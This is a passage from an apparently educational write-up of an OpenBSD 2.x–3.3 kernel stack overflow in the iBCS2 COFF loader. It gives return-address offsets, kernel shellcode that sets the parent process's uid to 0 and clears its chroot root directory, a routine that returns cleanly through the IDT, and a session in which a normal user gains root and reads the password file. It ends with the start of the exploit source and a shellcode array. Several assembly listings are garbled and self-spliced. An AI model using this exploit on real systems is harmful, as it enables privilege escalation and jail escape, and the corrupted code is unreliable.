Note | The boot sync command will reboot the system. |
The distance between the address of saved return address and the stack buffer is 172 ( 0xac ) bytes. Setting the section data size to 176 ( 0xb0 ) in the .shlib section header will give us control over the saved return address.
After calculating the location of the return address relative to the overflowed buffer, the following lines of code in the obsd_ex1.c should now make better sense.
[1] lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \ (sizeof(scn0)*3) + (2*4096) + 0xb0 - 8); [2] shptr = (char *) malloc(4096); if(debug) printf("payload adr: 0x%.8x\t", shptr); memset(shptr, 0xcc, 4096); *lptr++ = 0xdeadbeef; [3] *lptr = (u_long) shptr;
Basically, in [1] , we are advancing the lptr pointer to the location in the section data that will overwrite the saved base pointer as well as the saved return address. After this operation, a heap buffer will be allocated [2] , which will be used to store the kernel payload (this will be explained later). Now, the 4 bytes in the section data, which will be used to overwrite the return address, are updated with the address of this newly allocated user -land heap buffer [3] . Execution will be hooked and redirected to the user-land heap buffer, which is filled with only int3 debug interrupts. This will cause ddb to kick in.
bash-2.05b# ./obsd_ex1 -v payload adr: 0x00005000 Stopped at 0x5001: int ddb> x/i $eip,3 0x5001: int 0x5002: int 0x5003: int
This lovely output from the kernel debugger shows that we have gained full execution control with kernel privileges ( SEL_KPL ).
ddb> show registers es 0x10 ds 0x10 .. ebp 0xdeadbeef .. eip 0x5001 --> user-land address cs 0x8
The following operations will enable us to gather process structure information that is needed for credential and chroot manipulation payloads. There are many ways to locate the process structure. The two we look at in this section are the stack lookup method, which is not recommended on OpenBSD, and the sysctl() system call.
In the OpenBSD kernel, depending on the vulnerable interface, the process structure pointer might be in a fixed address relative to the stack pointer. So, after we gain execution control, we can add the fixed offset (delta between stack pointer and the location of the proc structure pointer) to the stack pointer and retrieve the pointer to the proc structure. On the other hand, with Linux, the kernel always maps the process structure to the beginning of the per-process kernel stack. This feature of Linux makes locating the process structure trivial.
The sysctl is a system call to get and set kernel level information from user land. It has a simple interface to pass data from kernel to user land and back. The sysctl interface is structured into several sub- components including the kernel, hardware, virtual memory, net, file system, and architecture system control interfaces. We should concentrate on the kernel sysctls , which are handled by the kern_sysctl() function.
Note | See sys/kern/kern_sysctl.c: line 234. |
The kern_sysctl() function also assigns different handlers to certain queries, such as proc structure, clock rate, v-node, and file information. The process structure is handled by the sysctl_doproc() function; this is the interface to the kernel-land information that we are after.
int sysctl_doproc(name, namelen, where, sizep) int *name; u_int namelen; char *where; size_t *sizep; { ... [1] for (; p != 0; p = LIST_NEXT(p, p_list)) { ... [2] switch (name[0]) { case KERN_PROC_PID: /* could do this with just a lookup */ [3] if (p->p_pid != (pid_t)name[1]) continue; break; ... } .... if (buflen >= sizeof(struct kinfo_proc)) { [4] fill_eproc(p, &eproc); [5] error = copyout((caddr_t)p, &dp->kp_proc, sizeof(struct proc)); .... void fill_eproc(p, ep) register struct proc *p; register struct eproc *ep; { register struct tty *tp; [6] ep->e_paddr = p;
Also, for sysctl_doproc() , there can be different types of queries handled by the switch statement [2] . KERN_PROC_PID is sufficient enough to gather the needed address about any process's proc structure. For the select() overflow, it was sufficient enough to gather the parent process' proc address. The setitimer() vulnerability makes use of the sysctl() interface in many different ways (which will be discussed later).
The sysctl_doproc() code iterates through the linked list of proc structures [1] in order to find the queried pid [3] . If found, certain structures ( eproc and kp_proc ) get filled in [4] and [5] and subsequently copyout to user land. The fill_eproc() (called from [4] ) does the trick and copies the proc address of the queried pid into the e_paddr member of the eproc structure [6] . In turn , the proc address is eventually copied out to user land in the kinfo_proc structure (which is the main data structure for the sysctl_doproc() function). For further information on members of these structures see sys/sys/sysctl.h .
The following is the function we'll use to retrieve the kinfo_proc structure.
void get_proc(pid_t pid, struct kinfo_proc *kp) { u_int arr[4], len; arr[0] = CTL_KERN; arr[1] = KERN_PROC; arr[2] = KERN_PROC_PID; arr[3] = pid; len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { perror("sysctl"); exit(-1); } }
CTL_KERN will be dispatched to kern_sysctl() by sys_sysctl() . KERN_PROC will be dispatched to sysctl_doproc() by kern_sysctl() . The aforementioned switch statement will handle KERN_PROC_PID , eventually returning the kinfo_proc structure.
In this section, we will go into the development of various tiny payloads that will eventually modify certain fields of its parent process's proc structure, in order to achieve elevated privileges and break out of chrooted jail environments. Then, we'll chain the developed assembly code with the code that will work our way back to user land, thus giving us new privileges with no restrictions.
We'll start with the privilege elevation section of the payload. What follows is the assembly code that alters ucred (credentials of the user) and pcred (credentials of the process) of any given proc structure. The exploit code fills in the proc structure address of its parent process by using the sysctl() system call (discussed in the previous section), replacing .long 0x12345678 . The initial call and pop instructions will load the address of the given proc structure address into %edi . You can use a well-known address-gathering technique used in almost every shellcode, as described in Phrack ( www.phrack.org/show.php?p=49&a=14 ).
call moo .long 0x12345678 <-- pproc addr .long 0xdeadcafe .long 0xbeefdead nop nop nop moo: pop %edi mov (%edi),%ecx # parent's proc addr in ecx # update p_ruid mov 0x10(%ecx),%ebx # ebx = p->p_cred xor %eax,%eax # eax = 0 mov %eax,0x4(%ebx) # p->p_cred->p_ruid = 0 # update cr_uid mov (%ebx),%edx # edx = p->p_cred->pc_ucred mov %eax,0x4(%edx) # p->p_cred->pc_ucred->cr_uid = 0
Next , a tiny assembly code fragment will be used as the chroot breaker for our ring payload. Without going into complex details, let's briefly look at how chroot is checked on a per-process basis. chroot jails are implemented by filling in the fd_rdir member of the filedesc (open files structure) with the desired jail directories' vnode pointer. When the kernel serves any given process for certain requests , it checks whether this pointer is filled in with a specific v-node.
If the v-node is found, the specific process is handled differently. The kernel creates the notion of a new root directory for this process, thus jailing it into a predefined directory. For a non-chrooted process, this pointer is zero/unset. Without going into further details about implementation, setting this pointer to NULL breaks chroot. fd_rdir is referenced through the proc structure as follows.
p->p_fd->fd_rdir
As with the credentials structure, filedesc is also trivial to access and alter with only two instruction additions to our payload.
# update p->p_fd->fd_rdir to break chroot() mov 0x14(%ecx),%edx # edx = p->p_fd mov %eax,0xc(%edx) # p->p_fd->fd_rdir = 0
After we alter certain fields of the proc structure, achieve elevated privileges, and escape from the chroot jail, we need to resume the normal operation of the system. Basically, we must return to user mode, which means the process that issued the system call, or return back to kernel code. Returning to user mode via the iret instruction is simple and straightforward; unfortunately , it is sometimes not possible, because the kernel might have certain synchronization objects locked, such as with mutex locks and rdwr locks. In these cases, you will need to return to the address in kernel code that will unlock these synchronization objects, thereby saving you from crashing the kernel. Certain people in the hacking community have misjudged return to kernel code; we urge them to use this method to look into more vulnerable kernel code and try to develop exploits for it. In practice, it becomes clear that returning back to kernel mode where synchronization objects are being unlocked is the best solution for resuming the system flow. If we do not have any such condition, we simply use the iret technique.
The code that follows is the system call handler that is called from the Interrupt Service Routine (ISR). This function calls the high-level (written in C) system call handler [1] and, after the actual system call returns, sets up the registers and returns to user mode [2].
IDTVEC(syscall) pushl # size of instruction for restart syscall1: pushl $T_ASTFLT # trap # for doing ASTs INTRENTRY movl _C_LABEL(cpl),%ebx movl TF_EAX(%esp),%esi # syscall no [1] call _C_LABEL(syscall) 2: /* Check for ASTs on exit to user mode. */ cli cmpbIDTVEC(syscall) pushl $2 # size of instruction for restart syscall1: pushl $T_ASTFLT # trap # for doing ASTs INTRENTRY movl _C_LABEL(cpl),%ebx movl TF_EAX(%esp),%esi # syscall no [1] call _C_LABEL(syscall) 2: /* Check for ASTs on exit to user mode. */ cli cmpb $0,_C_LABEL(astpending) je 1f /* Always returning to user mode here. */ movb $0,_C_LABEL(astpending) sti /* Pushed T_ASTFLT into tf_trapno on entry. */ call _C_LABEL(trap) jmp 2b 1: cmpl _C_LABEL(cpl),%ebx jne 3f [2] INTRFASTEXIT #define INTRFASTEXIT \ popl %es ; \ popl %ds ; \ popl %edi ; \ popl %esi ; \ popl %ebp ; \ popl %ebx ; \ popl %edx ; \ popl %ecx ; \ popl %eax ; \ addl $8,%esp ; \ iret,_C_LABEL(astpending) je 1f /* Always returning to user mode here. */ movbIDTVEC(syscall) pushl $2 # size of instruction for restart syscall1: pushl $T_ASTFLT # trap # for doing ASTs INTRENTRY movl _C_LABEL(cpl),%ebx movl TF_EAX(%esp),%esi # syscall no [1] call _C_LABEL(syscall) 2: /* Check for ASTs on exit to user mode. */ cli cmpb $0,_C_LABEL(astpending) je 1f /* Always returning to user mode here. */ movb $0,_C_LABEL(astpending) sti /* Pushed T_ASTFLT into tf_trapno on entry. */ call _C_LABEL(trap) jmp 2b 1: cmpl _C_LABEL(cpl),%ebx jne 3f [2] INTRFASTEXIT #define INTRFASTEXIT \ popl %es ; \ popl %ds ; \ popl %edi ; \ popl %esi ; \ popl %ebp ; \ popl %ebx ; \ popl %edx ; \ popl %ecx ; \ popl %eax ; \ addl $8,%esp ; \ iret,_C_LABEL(astpending) sti /* Pushed T_ASTFLT into tf_trapno on entry. */ call _C_LABEL(trap) jmp 2b 1: cmpl _C_LABEL(cpl),%ebx jne 3f [2] INTRFASTEXIT #define INTRFASTEXIT \ popl %es ; \ popl %ds ; \ popl %edi ; \ popl %esi ; \ popl %ebp ; \ popl %ebx ; \ popl %edx ; \ popl %ecx ; \ popl %eax ; \ addl ,%esp ; \ iret
We will implement the following routine based on the previous initial and post system call handler, emulating a return from interrupt operation.
cli # set up various selectors for user-land # es = ds = 0x1f pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx1f popl %es pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx1f popl %ds # esi = esi = 0x00 pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx00 popl %edi pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx00 popl %esi # ebp = 0xdfbfd000 pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretxdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx00 popl %ebx pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx00 popl %edx pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx00 popl %ecx pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx00 popl %eax pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx1f # ss = 0x1f pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretxdfbfd000 # esp = 0xdfbfd000 pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx287 # eflags pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushlcli # set up various selectors for user-land # es = ds = 0x1f pushl $0x1f popl %es pushl $0x1f popl %ds # esi = esi = 0x00 pushl $0x00 popl %edi pushl $0x00 popl %esi # ebp = 0xdfbfd000 pushl $0xdfbfd000 popl %ebp # ebx = edx = ecx = eax = 0x00 pushl $0x00 popl %ebx pushl $0x00 popl %edx pushl $0x00 popl %ecx pushl $0x00 popl %eax pushl $0x1f # ss = 0x1f pushl $0xdfbfd000 # esp = 0xdfbfd000 pushl $0x287 # eflags pushl $0x17 # cs user-land code segment selector # set set user mode instruction pointer in exploit code pushl $0x00000000 # empty slot for ring3 %eip iretx00000000 # empty slot for ring3 %eip iret
This technique of returning to user mode depends on the interrupt descriptor table register (IDTR). It contains the starting address of the interrupt descriptor table (IDT).
Without going into unnecessary details, the IDT is the table that holds the interrupt handlers for various interrupt vectors. A number represents each interrupt in x86 from 0 to 255; these numbers are called the interrupt vectors. These vectors are used to locate the initial handler for any given interrupt inside the IDT. The IDT contains 256 entries of 8 bytes each. There can be three different types of IDT descriptor entries, but we will concentrate only on the system gate descriptor. The trap gate descriptor is used to set up the initial system call handler discussed in the previous section.
Note | OpenBSD uses the same gate_descriptor structure for trap and system descriptors. Also, system gates are referred to as trap gates in the code. |
sys/arch/i386/machdep.c line 2265 setgate(&idt[128], &IDTVEC(syscall), 0, SDT_SYS386TGT, SEL_UPL, GCODE_SEL); sys/arch/i386/include/segment.h line 99 struct gate_descriptor { unsigned gd_looffset:16; /* gate offset (lsb) */ unsigned gd_selector:16; /* gate segment selector */ unsigned gd_stkcpy:5; /* number of stack wds to cpy */ unsigned gd_xx:3; /* unused */ unsigned gd_type:5; /* segment type */ unsigned gd_dpl:2; /* segment descriptor priority level */ unsigned gd_p:1; /* segment descriptor present */ unsigned gd_hioffset:16; /* gate offset (msb) */ } [delete] line 240 #define SDT_SYS386TGT 15 /* system 386 trap gate */
The gate_descriptor 's members, gd_looffset and gd_hioffset , will create the low-level interrupt handler's address. For more information on these various fields, you should consult the architecture manuals at http://developer.intel.com/design/Pentium4/manuals/ .
The system call interface to request kernel services is implemented through the software-initiated interrupt 0x80 . Armed with this information, start at the address of the low-level syscall interrupt handler and walk through the kernel text. You can now find your way to the high-level syscall handler and finally return to it.
The IDT in OpenBSD is named _idt_region , and slot 0x80 is the system gate descriptor for the system call interrupt. Because every member of the IDT is 8 bytes, the system call system gate_descriptor is at address _idt_region + 0x80 * 0x8 , which is _idt_region + 0x400 .
bash-2.05b# Stopped at _Debugger+0x4: leave ddb> x/x _idt_region+0x400 _idt_region+0x400: 80e4c ddb> ^M _idt_region+0x404: e010ef00
To deduce the initial syscall handler we need to do the proper shift and or operations on the system gate descriptor's bit fields. This will lead us to the 0xe0100e4c kernel address.
bash-2.05b# Stopped at _Debugger+0x4: leave ddb> x/x 0xe0100e4c _Xosyscall_end: pushlbash-2.05b# Stopped at _Debugger+0x4: leave ddb> x/x 0xe0100e4c _Xosyscall_end: pushl $0x2 ddb> ^M _Xosyscall_end+0x2: pushl $0x3 ... ... _Xosyscall_end+0x20: call _syscall ...x2 ddb> ^M _Xosyscall_end+0x2: pushlbash-2.05b# Stopped at _Debugger+0x4: leave ddb> x/x 0xe0100e4c _Xosyscall_end: pushl $0x2 ddb> ^M _Xosyscall_end+0x2: pushl $0x3 ... ... _Xosyscall_end+0x20: call _syscall ...x3 ... ... _Xosyscall_end+0x20: call _syscall ...
As with the exception or software-initiated interrupt, the corresponding vector is found in the IDT. The execution is redirected to the handler gathered from one of the gate descriptors. This handler is known as an intermediate handler , which will eventually take us to a real handler. As seen in the kernel debugger output, the initial handler _Xosyscall_end saves all registers (also some other low-level operations) and immediately calls the real handler, _syscall().
We have mentioned that the idtr register always contains the address of the_idt_region . We now need a method of accessing its contents.
sidt 0x4(%edi) mov 0x6(%edi),%ebx
The address of the _idt_region is moved to ebx; now IDT can be referenced via ebx . The assembly code to gather the syscall handler from the initial handler is as follows.
sidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region is in ebx mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*sizeof long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shrsidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region is in ebx mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*sizeof long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shr $0x10,%ecx # sal $0x10,%ecx # ecx = gd_hioffset sal $0x10,%edx # shr $0x10,%edx # edx = gd_looffset or %ecx,%edx # edx = ecx edx = _Xosyscall_endx10,%ecx # salsidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region is in ebx mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*sizeof long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shr $0x10,%ecx # sal $0x10,%ecx # ecx = gd_hioffset sal $0x10,%edx # shr $0x10,%edx # edx = gd_looffset or %ecx,%edx # edx = ecx edx = _Xosyscall_endx10,%ecx # ecx = gd_hioffset salsidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region is in ebx mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*sizeof long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shr $0x10,%ecx # sal $0x10,%ecx # ecx = gd_hioffset sal $0x10,%edx # shr $0x10,%edx # edx = gd_looffset or %ecx,%edx # edx = ecx edx = _Xosyscall_endx10,%edx # shrsidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region is in ebx mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*sizeof long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shr $0x10,%ecx # sal $0x10,%ecx # ecx = gd_hioffset sal $0x10,%edx # shr $0x10,%edx # edx = gd_looffset or %ecx,%edx # edx = ecx edx = _Xosyscall_endx10,%edx # edx = gd_looffset or %ecx,%edx # edx = ecx edx = _Xosyscall_end
At this stage, we have successfully found the initial/intermediate handler's location. The next logical step is to search through the kernel text, find call_syscall , and gather the displacement of the call instructions and add it to the address of the instruction's location. Additionally, the value of 5 bytes should be added to the displacement to compensate for the size of the call instruction itself.
xor %ecx,%ecx # zero out the counter up: inc %ecx movb (%edx,%ecx),%bl # bl = _Xosyscall_end++ cmpbxor %ecx,%ecx # zero out the counter up: inc %ecx movb (%edx,%ecx),%bl # bl = _Xosyscall_end++ cmpb $0xe8,%bl # if bl == 0xe8 : 'call' jne up lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall inc %ecx mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp = _syscall()xe8,%bl # if bl == 0xe8 : 'call' jne up lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall inc %ecx mov (%edx,%ecx),%ecx # take the displacement of the call ins. addxor %ecx,%ecx # zero out the counter up: inc %ecx movb (%edx,%ecx),%bl # bl = _Xosyscall_end++ cmpb $0xe8,%bl # if bl == 0xe8 : 'call' jne up lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall inc %ecx mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp = _syscall()x5,%ecx # add 5 to displacement add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp = _syscall()
Now, %ecx holds the address of the real handler, _syscall() . The next step is to find out where to return inside the syscall() function; this will eventually lead to broader research on various versions of OpenBSD with different kernel compilation options. Luckily, it turns out that we can safely search for the call *%eax instruction inside the _syscall() . This proves to be the instruction that dispatches every system call to its final handler in every OpenBSD version tested .
For OpenBSD 2.6 through 3.3, kernel code has always dispatched the system calls with the call *%eax instruction, which is unique in the scope of the _syscall() function.
bash-2.05b# Stopped at _Debugger+0x4: leave ddb> x/i _syscall+0x240 _syscall+0x240: call *%eax ddb>cont
Our goal is now to figure out the offset ( 0x240 in this case) for any given OS revision. We want to return to the instruction just after the call *%eax from our payload and resume kernel execution. The search code is as follows.
#search for opcode: ffd0 ie: call *%eax mov %ecx,%edi mule: mov#search for opcode: ffd0 ie: call *%eax mov %ecx,%edi mule: mov $0xff,%al cld mov $0xffffffff,%ecx repnz scas %es:(%edi),%al # ok, start with searching 0xff mov (%edi),%bl cmp $0xd0,%bl # check if 0xff is followed by 0xd0 jne mule # if not start over inc %edi # good found! xor %eax,%eax #set up return value push %edi #push address on stack ret #jump to found addressxff,%al cld mov#search for opcode: ffd0 ie: call *%eax mov %ecx,%edi mule: mov $0xff,%al cld mov $0xffffffff,%ecx repnz scas %es:(%edi),%al # ok, start with searching 0xff mov (%edi),%bl cmp $0xd0,%bl # check if 0xff is followed by 0xd0 jne mule # if not start over inc %edi # good found! xor %eax,%eax #set up return value push %edi #push address on stack ret #jump to found addressxffffffff,%ecx repnz scas %es:(%edi),%al # ok, start with searching 0xff mov (%edi),%bl cmp#search for opcode: ffd0 ie: call *%eax mov %ecx,%edi mule: mov $0xff,%al cld mov $0xffffffff,%ecx repnz scas %es:(%edi),%al # ok, start with searching 0xff mov (%edi),%bl cmp $0xd0,%bl # check if 0xff is followed by 0xd0 jne mule # if not start over inc %edi # good found! xor %eax,%eax #set up return value push %edi #push address on stack ret #jump to found addressxd0,%bl # check if 0xff is followed by 0xd0 jne mule # if not start over inc %edi # good found! xor %eax,%eax #set up return value push %edi #push address on stack ret #jump to found address
Finally, this payload is all we need for a clean return. It can be used for any system call based overflow without requiring any further modification.
- %ebp fixup
If we used the sidt technique to resume execution, we also need to fix the smashed saved frame pointer in order to prevent a crash while inside the syscall function. You can calculate a meaningful base pointer by setting a breakpoint on the vulnerable function's prolog as well as another breakpoint before the leave instruction in the epilog. Now, calculate the difference between the %ebp recorded at the prolog and the %esp recorded just before the returning to the caller. The following instruction will set the %ebp for this specific vulnerability back to a sane value.
lea 0x68(%esp),%ebp # fixup ebp
Finally, we link all the previous sections and reach the final exploit code that will elevate privileges to root and break any possible chroot jail.
-bash-2.05b$ uname -a OpenBSD the0.wideopenbsd.net 3.3 GENERIC#44 i386 -bash-2.05b$ gcc -o the0therat coff_ex.c -bash-2.05b$ id uid=1000(noir) gid=1000(noir) groups=1000(noir) -bash-2.05b$ ./the0therat DO NOT FORGET TO SHRED ./ibcs2own Abort trap -bash-2.05b$ id uid=0(root) gid=1000(noir) groups=1000(noir) -bash-2.05b$ bash bash-2.05b# cp /dev/zero ./ibcs2own /home: write failed, file system is full cp: ./ibcs2own: No space left on device bash-2.05b# rm -f ./ibcs2own bash-2.05b# head -2 /etc/master.passwd root:a$ [cut] :0:0:daemon:0:0:Charlie &:/root:/bin/csh daemon:*:1:1::0:0:The devil himself:/root:/sbin/nologin ... ----------------------------- coff_ex.c -------------------------------------- /** OpenBSD 2.x - 3.3 **/ /** exec_ibcs2_coff_prep_zmagic() kernel stack overflow **/ /** note: ibcs2 binary compatibility with SCO and ISC is enabled **/ /** in the default install **/ /** Copyright Feb 26 2003 Sinan "noir" Eren **/ /** noir@olympos.org noir@uberhax0r.net **/ #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <sys/param.h> #include <sys/sysctl.h> #include <sys/signal.h> /* kernel_sc.s shellcode */ unsigned char shellcode[] = "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe" "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89" "\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b" "\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10" "\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a" 